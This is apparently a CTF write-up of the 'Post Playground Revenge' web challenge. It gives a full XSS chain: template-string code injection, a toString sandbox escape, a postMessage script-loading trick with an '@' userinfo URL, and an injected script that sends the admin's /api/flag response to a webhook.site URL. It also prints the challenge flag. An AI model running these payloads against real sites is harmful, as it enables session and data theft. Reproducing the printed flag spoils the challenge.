Post Playground Revenge


Introduction

Post Playground Revenge was a medium web challenge from the Midnight CTF 2025.

We had to find the flag with an XSS by escaping multiple iframe level and by finally calling the API route.

The challenge was whiteboxed, meaning we had access to the source code of the web application.

This is probably the intended solution of the Post Playground challenge. To get more context for the challenge, please look at my previous post.

This challenge was probably released to fix the issue on the original Post Playground challenge.

File structure

Website

Enumeration

Bot call and flag endpoint

Unlike the previous version, the bot no longer trusts the origin

Bot API route

We therefore need to find a way of performing an XSS to retrieve the flag using the bot’s administrator account on the api

Flag API endpoint

Iframes

In the project, you’ll find a bunch of iframes and scripts listed below:

playground.html
<iframe src="/render_frame" id="render_frame"></iframe>
<script src="/js/main.js"></script>
render_frame.html
<script>
	// ...
</script>
<!-- [...] -->
<iframe hidden src="https://static1.midnightflag.fr/exec_frame.html" id="exec_frame"></iframe>
https://domain.com/exec_frame.html
<script>
	// ...
</script>

Multiple frames layers

Our objective will therefore be to escape as many of these iframes as possible in order to call the flag API.

Code injection

In the script for the exec_frame iframe stored on the mindnight flag static resource server, we can see that our URL is injected into a variable. Then, for all the variables defined in the browser, we replace the template data ({{}}) in the code with their values.

Then, the code is executed through the Function constructor that allows to execute JavaScript code passed as a string.

Function arbitrary code execution

The URL and variables can be entered, and saved directly into the application.

However, the URL is checked when it is used by the function:

render_frame.js
function isValidUrl(string) {
    let url;
    
    try {
        url = new URL(string);
    } catch (_) {
        return false;  
    }

    return url.protocol === "http:" || url.protocol === "https:";
}
// [...]
function parseAndExec(){
    // [...]
    let url = document.getElementById("url").value;
    if(!isValidUrl(url)) {
        Swal.fire({
            title: "PostPlayground",
            text: "URL is undefined or invalid.",
            icon: "error"
        });
        return;
    }
}

As a result, it is impossible to execute code via the URL.

Code execution

In an upper scope, the render_frame.html, which runs on the good domain, we have the following JavaScript code:

render_frame.html
let current_project_id;
let geval = this.execScript || eval;
localStorage.removeItem("vars");
window.addEventListener("message", async (event) => {
    if(event.origin !== location.origin || event.origin == null) return;
    else {
        if(typeof(event.data) !== "object" || event.data.action === undefined || event.data.vars === undefined) {
            return;
        }
        switch(event.data.action) {
            // [...]

This simply means that if we receive a message sent by another window, and this message is at destination of your current URI (location.origin), we’ll execute the action you wanna do.

Let’s see what kind of actions you are able to execute:

load_scripts function

This load_scripts function will fetch a remote javascript source, that’ll start with location.origin (eg. https://pioupia.github.io), check if that script starts with

###TO_EVAL###

and end with

###EOF_EVAL###

If yes, it’ll remove these two parts, and execute with the eval function the rest of the code.

Exploit

Execute code on the client

We first have to execute code on the client. So what we can do is use the vulnerable templateUrl function, to replace a key in our URI, with a unverified and unsanitized payload content.

exec_frame.html
function matchAndExtract(match, url) {
    var rx = new RegExp(`{{${match}}}`,"g");
    var arr = rx.exec(url);
    return arr !== null ? arr[0] : false; 
}

function templateUrl(url, variables){
    let src = `let url = "${url}";\n`;
    for(const key in variables) {
        if(matchAndExtract(key, url)) {
            src += `url = url.replace("{{${key}}}","${variables[key]}");\n`;
        }
    }
    // [...]
}

What we’ll exploit here is the dangerous unsanitized variables[key] replacement that could allows us to inject JavaScript code.

For example, if our URI is: https://example.com/{{payload}}, we could have the following payload variable in the application: ");alert(1)//.

In that case, the templateUrl function will receive the following arguments:

  • url: https://example.com/{{payload}}
  • variables: { payload: '");alert(1)//' }

With these, the matchAndExtract function will be executed and evaluated as true (to pass the condition), thanks to the {{payload}} string that passes the regex.

Then, we’ll concatenate the str variable used to execute a Function, after having added in a dangerous way the key, and the variable content associated with that key.

In fact, at the end, the code in the str variable should be:

let url = "https://example.com/{{payload}}";
url = url.replace("{{payload}}","");alert(1)//");

You can see that our injection will trigger the alert(1) function, and comment the rest of the code to keep the code execution.

This is the base logic of the exploit.

Escape from context isolation

Next, we need to escape from the custom context isolation made to execute the Function script:

exec_frame.html
function templateUrl(url, variables){
    // [...]
    var mask = {};
    for (p in this)
        mask[p] = undefined;
    src += "return url;"
    return (new Function( "with(this) { " + src + "}")).call(mask);
}

Here, we are deleting each object contained in the global context (Window). Now, we cannot access to fetch, window, document, etc… anymore.

“We are also limited” by the with(this) that’ll encapsulate our code into the this (global window object) context. But in that case, it’s not a problem because we can escape from that context, and this is not more limited than the global context of the script.

So let’s see what happened after the templateUrl call:

exec_frame.html
let url_to_fetch = "";
// [...]
    url_to_fetch = templateUrl(url, event.data.vars.variables);
// [...]
let fetch_res = await fetch(url_to_fetch, fetch_options)
.then(async (resp) => {
    return {"status":true, "result": await resp.text()};
})
.catch((err) => {
    return {"status":false, "err":err};
});

And from the fetch API This defines the resource that you wish to fetch. This can either be:

  • A string or any other object with a stringifier — including a URL object

So what we can do here, is returning a URL with a .toString prototype that’ll be called by the fetch function during the constructor, and help us to execute code.

The simplest way is to define a function that’ll be executed on the global exec_frame scope.

What we can do, is like them, create a new Function, that will contain a maliscious code, and set it as the new toString function. With that, when the browser will call the toString, it’ll under the hood call our maliscious function with the exec_frame file scope.

For example, if we have the following code in our payload:

url = new URL("http://localhost:3000/api/flag");
url.toString = (new Function('window.location.href="/";return "exec_frame.html"'));
return url;

When the fetch API will receive the new crafted url object, it’ll then call the toString function to get the URI. But, that function will call our maliscious Function by evaluating it like eval (so parsing + execution with the current application scope). This payload will redirect the browser to the page /.

Now that we can execute any script with the context of exec_frame.html file, we know need to move in an upper scope. Either the render_frame.html or the playground one to have access to the bot cookie.

Move to upper scope

Now, we need to goes on the render_frame scope.

The easiest way to escape is to send a message to that iframe, with the load_scripts asction.

So let’s do it. The first thing we need to do is to post a message to the top window (so the render_frame iframe).

This can be done with the window.top.postMessage function.

For the targetOrigin property, which will control if the parent iframe can access to our data, we can pass a * character, that will allow any target origin.

Then, that thing should escape the location.origin+element code.

Because location.origin doesn’t have a trailing /, we can manipulate the URI to let the code calling our maliscious URI.

In the HTTP protocol, you can specify a username and password in the URI, then a @ character, and a domain name. This is usefull to authentificate some for content access, but also very usefull to craft a request to a custom URI.

Thank to that, we could send an element equals to @maliscious-domain.com, and the request will be sent to maliscious-domain.com.

There is the code we can used to do that:

window.top.postMessage({
    "action": "load_scripts",
    "vars": {
        "srcs": ["@webhook.site/b7a6bce4-540e-4846-b167-89d1ee99479a"]
        }
    }, "*");

Here, we are posting a message, that ask to load a script.

Then, we set an URLs array with only one element, which is equals to: @webhook.site/b7a6bce4-540e-4846-b167-89d1ee99479a

This will help us to send the request to our custom domain, get the content script and execute it. For example, it could call: http://localhost:4000@webhook.site/b7a6bce4-540e-4846-b167-89d1ee99479a

which could be decomposed like:

  • http: protocol
  • localhost: username
  • 4000: password
  • webhook.site: domain name
  • b7a6bce4-540e-4846-b167-89d1ee99479a: path

At the send, we pass a second parameter to the window.top.postMessage, which is the targetOrigin. Because we completely don’t care of where our exploit will go, we can pass an asterix. But we could also set the real origin with:

`http://${event.data.vars.originUrl}`

Get the token

Now, we need to create the last thing of our attack chain.

We need to get back the token.

So first of all, let’s allow our maliscious server returning a JavaScript file wrapped in:

###TO_EVAL###
###EOF_EVAL###

We know that we need to get the /api/flag content. So we can simply fetch it and return it back to us.

For example:

injected.js
###TO_EVAL###
fetch("/api/flag").then(res => res.json())
    .then(data => fetch("https://webhook.site/b7a6bce4-540e-4846-b167-89d1ee99479a?flag="+btoa(JSON.stringify(data))));
###EOF_EVAL###

This will fetch the flag, and send it back to us by serializing the JSON, and transform it to base64.

Final chain

Ok so let’s write it.

First, let’s create a new variable called payload that will contained our maliscious code, that will be executed on the exec_frame iframe without context.

payload variable

payload
","");
url = new URL("http://localhost:3000/api/flag");
url.toString = (new Function('window.top.postMessage({"action":"load_scripts", "vars":{"srcs":["@webhook.site/b7a6bce4-540e-4846-b167-89d1ee99479a"]}}, "*");return "exec_frame.html"'));
return url;
url.replace("

At the first line, we escape the .replace function.

At the second line, we instanciate a new URL class with a random URL.

Then, we’ll override the toString prototype of the url instance. This will be a function that will be parsed and executed later, to get access to the real exec_frame scope. Any Function need to return something, so at the end, I return a random string.

Then, I’ll return the current url instance, and avoid a syntax error.

After that, our maliscious server will contain the following code:

###TO_EVAL###
fetch("/api/flag").then(res => res.json()).then(data => fetch("https://webhook.site/b7a6bce4-540e-4846-b167-89d1ee99479a?flag="+btoa(JSON.stringify(data))));
###EOF_EVAL###

And will be executed on the render_frame upper scope. Thank to that, we’ll have an access to the bot cookie, and get back the flag to home.

Get flag back

Flag: MCTF{4d58bebfb1367265c768196b4c068f46}